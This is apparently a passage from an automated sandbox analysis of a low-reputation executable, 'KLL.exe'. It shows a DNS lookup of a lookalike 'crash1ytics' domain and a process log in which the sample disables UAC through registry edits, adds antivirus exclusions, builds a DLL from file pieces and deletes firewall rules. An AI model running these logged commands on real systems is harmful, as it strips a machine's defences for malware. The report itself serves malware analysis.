                                                                                            Accept-Ranges: none
                                                                                            X-Content-Type-Options: nosniff
                                                                                            Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                            Access-Control-Allow-Origin: *
                                                                                            Expires: Sat, 20 Jul 2024 09:37:11 GMT
                                                                                            Cache-Control: private, max-age=5
                                                                                            X-XSS-Protection: 0
                                                                                            X-Frame-Options: SAMEORIGIN
                                                                                            Vary: Accept-Encoding
                                                                                            X-Cache: Miss from cloudfront
                                                                                            Via: 1.1 57ba1933a852bdb178dbe4a1e2e3a5fa.cloudfront.net (CloudFront)
                                                                                            X-Amz-Cf-Pop: FRA56-P7
                                                                                            X-Amz-Cf-Id: 5xSVefMjfVy8ew2zcJGPnVaLdHi1o507vphIAz1sknqO_97fpMQ1Uw==
                                                                                            2024-07-20 09:37:11 UTC458INData Raw: 31 63 33 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 35 2c 22 64 61 74 61 22 3a 22 31 34 32 2e 32 34 32 2e 32 30 34 2e 33 31 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 35 2c
                                                                                            Data Ascii: 1c3{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"nit.crash1ytics.com.","type":1}],"Answer":[{"name":"nit.crash1ytics.com.","type":1,"TTL":5,"data":"142.242.204.31"},{"name":"nit.crash1ytics.com.","type":1,"TTL":5,
                                                                                            2024-07-20 09:37:11 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                            Data Ascii: 0


                                                                                            Statistics

                                                                                            CPU Usage

                                                                                            Click to jump to process

                                                                                            Memory Usage

                                                                                            Click to jump to process

                                                                                            High Level Behavior Distribution

                                                                                            Click to dive into process behavior distribution

                                                                                            Behavior

                                                                                            Click to jump to process

                                                                                            System Behavior

                                                                                            General

                                                                                            Target ID:0
                                                                                            Start time:05:36:01
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Users\user\Desktop\KLL.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"C:\Users\user\Desktop\KLL.exe"
                                                                                            Imagebase:0x7ff674d00000
                                                                                            File size:31'853'056 bytes
                                                                                            MD5 hash:FF9006E15BBE8F6C9A4AC2DDB14AC37E
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:low
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:1
                                                                                            Start time:05:36:03
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\cmd.exe /c ipconfig /all
                                                                                            Imagebase:0x7ff6af600000
                                                                                            File size:289'792 bytes
                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:2
                                                                                            Start time:05:36:03
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:3
                                                                                            Start time:05:36:03
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\ipconfig.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:ipconfig /all
                                                                                            Imagebase:0x7ff663700000
                                                                                            File size:35'840 bytes
                                                                                            MD5 hash:62F170FB07FDBB79CEB7147101406EB8
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:moderate
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:4
                                                                                            Start time:05:36:03
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\netsh.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"C:\Windows\System32\netsh.exe" -f C:\ProgramData\eiM61.xml
                                                                                            Imagebase:0x7ff641ba0000
                                                                                            File size:96'768 bytes
                                                                                            MD5 hash:6F1E6DD688818BC3D1391D0CC7D597EB
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:moderate
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:5
                                                                                            Start time:05:36:03
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:6
                                                                                            Start time:05:36:03
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Roaming\J95KX.bat"
                                                                                            Imagebase:0x7ff6af600000
                                                                                            File size:289'792 bytes
                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:7
                                                                                            Start time:05:36:03
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:8
                                                                                            Start time:05:36:04
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\reg.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F
                                                                                            Imagebase:0x680000
                                                                                            File size:77'312 bytes
                                                                                            MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:moderate
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:9
                                                                                            Start time:05:36:04
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\reg.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F
                                                                                            Imagebase:0x7ff6b87a0000
                                                                                            File size:77'312 bytes
                                                                                            MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:moderate
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:10
                                                                                            Start time:05:36:04
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\reg.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F
                                                                                            Imagebase:0x7ff6b87a0000
                                                                                            File size:77'312 bytes
                                                                                            MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:moderate
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:12
                                                                                            Start time:05:36:04
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\svchost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                            Imagebase:0x7ff6eef20000
                                                                                            File size:55'320 bytes
                                                                                            MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:14
                                                                                            Start time:05:36:06
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"C:\Windows\System32\cmd.exe" /c copy /b C:\ProgramData\s2XlA\7R1b9~m7\s+C:\ProgramData\s2XlA\7R1b9~m7\a C:\ProgramData\s2XlA\7R1b9~m7\uc_guilib.dll
                                                                                            Imagebase:0x7ff6af600000
                                                                                            File size:289'792 bytes
                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:15
                                                                                            Start time:05:36:06
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Reputation:high
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:16
                                                                                            Start time:05:36:08
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\mmc.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\mmc.exe -Embedding
                                                                                            Imagebase:0x7ff7b8170000
                                                                                            File size:1'953'280 bytes
                                                                                            MD5 hash:58C9E5172C3708A6971CA0CBC80FE8B8
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:17
                                                                                            Start time:05:36:08
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe"
                                                                                            Imagebase:0x100000
                                                                                            File size:99'904 bytes
                                                                                            MD5 hash:8AA07B7C6C632F4EDF07A0E2B91F8566
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:18
                                                                                            Start time:05:36:09
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\mmc.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\mmc.exe -Embedding
                                                                                            Imagebase:0x7ff7b8170000
                                                                                            File size:1'953'280 bytes
                                                                                            MD5 hash:58C9E5172C3708A6971CA0CBC80FE8B8
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:false

                                                                                            General

                                                                                            Target ID:19
                                                                                            Start time:05:36:10
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:C:\Windows\system32\cmd.exe /c ipconfig /all
                                                                                            Imagebase:0x240000
                                                                                            File size:236'544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:20
                                                                                            Start time:05:36:10
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\ProgramData\letsvpn-latest.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:"C:\ProgramData\letsvpn-latest.exe"
                                                                                            Imagebase:0x400000
                                                                                            File size:15'382'056 bytes
                                                                                            MD5 hash:7CE62DC191CEE9DD1488C9D0A25FEDA4
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:21
                                                                                            Start time:05:36:10
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:22
                                                                                            Start time:05:36:10
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\ipconfig.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:ipconfig /all
                                                                                            Imagebase:0x1e0000
                                                                                            File size:29'184 bytes
                                                                                            MD5 hash:3A3B9A5E00EF6A3F83BF300E2B6B67BB
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:23
                                                                                            Start time:05:36:11
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:powershell.exe -inputformat none -ExecutionPolicy Bypass -Command "If ($env:PROCESSOR_ARCHITEW6432) { $env:PROCESSOR_ARCHITEW6432 } Else { $env:PROCESSOR_ARCHITECTURE }"
                                                                                            Imagebase:0x870000
                                                                                            File size:433'152 bytes
                                                                                            MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:24
                                                                                            Start time:05:36:11
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:26
                                                                                            Start time:05:36:24
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:powershell -inputformat none -ExecutionPolicy Bypass -File "C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1"
                                                                                            Imagebase:0x870000
                                                                                            File size:433'152 bytes
                                                                                            MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:28
                                                                                            Start time:05:36:24
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:29
                                                                                            Start time:05:36:24
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:false
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:32
                                                                                            Start time:05:36:28
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" findall tap0901
                                                                                            Imagebase:0x7ff7488d0000
                                                                                            File size:101'536 bytes
                                                                                            MD5 hash:1E3CF83B17891AEE98C3E30012F0B034
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:33
                                                                                            Start time:05:36:28
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:34
                                                                                            Start time:05:36:28
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:"C:\Program Files (x86)\letsvpn\driver\tapinstall.exe" install "C:\Program Files (x86)\letsvpn\driver\OemVista.inf" tap0901
                                                                                            Imagebase:0x7ff7488d0000
                                                                                            File size:101'536 bytes
                                                                                            MD5 hash:1E3CF83B17891AEE98C3E30012F0B034
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:35
                                                                                            Start time:05:36:28
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:36
                                                                                            Start time:05:36:30
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\svchost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
                                                                                            Imagebase:0x7ff6eef20000
                                                                                            File size:55'320 bytes
                                                                                            MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:37
                                                                                            Start time:05:36:30
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\drvinst.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:DrvInst.exe "4" "0" "C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\oemvista.inf" "9" "4d14a44ff" "0000000000000154" "WinSta0\Default" "0000000000000170" "208" "c:\program files (x86)\letsvpn\driver"
                                                                                            Imagebase:0x7ff79bbe0000
                                                                                            File size:337'920 bytes
                                                                                            MD5 hash:294990C88B9D1FE0A54A1FA8BF4324D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:38
                                                                                            Start time:05:36:31
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\drvinst.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.24.6.601:tap0901," "4d14a44ff" "0000000000000118"
                                                                                            Imagebase:0x7ff79bbe0000
                                                                                            File size:337'920 bytes
                                                                                            MD5 hash:294990C88B9D1FE0A54A1FA8BF4324D9
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:39
                                                                                            Start time:05:36:32
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\svchost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
                                                                                            Imagebase:0x7ff6eef20000
                                                                                            File size:55'320 bytes
                                                                                            MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:40
                                                                                            Start time:05:36:33
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:cmd /c netsh advfirewall firewall Delete rule name=lets
                                                                                            Imagebase:0x240000
                                                                                            File size:236'544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:41
                                                                                            Start time:05:36:33
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:42
                                                                                            Start time:05:36:33
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\netsh.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:netsh advfirewall firewall Delete rule name=lets
                                                                                            Imagebase:0x1560000
                                                                                            File size:82'432 bytes
                                                                                            MD5 hash:4E89A1A088BE715D6C946E55AB07C7DF
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:43
                                                                                            Start time:05:36:33
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:cmd /c netsh advfirewall firewall Delete rule name=lets.exe
                                                                                            Imagebase:0x240000
                                                                                            File size:236'544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:44
                                                                                            Start time:05:36:33
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:45
                                                                                            Start time:05:36:33
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\netsh.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:netsh advfirewall firewall Delete rule name=lets.exe
                                                                                            Imagebase:0x1560000
                                                                                            File size:82'432 bytes
                                                                                            MD5 hash:4E89A1A088BE715D6C946E55AB07C7DF
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:46
                                                                                            Start time:05:36:33
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:cmd /c netsh advfirewall firewall Delete rule name=LetsPRO.exe
                                                                                            Imagebase:0x240000
                                                                                            File size:236'544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:47
                                                                                            Start time:05:36:33
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:48
                                                                                            Start time:05:36:34
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\netsh.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:netsh advfirewall firewall Delete rule name=LetsPRO.exe
                                                                                            Imagebase:0x1560000
                                                                                            File size:82'432 bytes
                                                                                            MD5 hash:4E89A1A088BE715D6C946E55AB07C7DF
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:49
                                                                                            Start time:05:36:34
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):true
                                                                                            Commandline:cmd /c netsh advfirewall firewall Delete rule name=LetsPRO
                                                                                            Imagebase:0x240000
                                                                                            File size:236'544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:50
                                                                                            Start time:05:36:34
                                                                                            Start date:20/07/2024
                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                            Wow64 process (32bit):false
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:0x7ff7699e0000
                                                                                            File size:862'208 bytes
                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                            Has elevated privileges:true
                                                                                            Has administrator privileges:true
                                                                                            Programmed in:C, C++ or other language
                                                                                            Has exited:true

                                                                                            General

                                                                                            Target ID:51
                                                                                            Start time:05:36:34
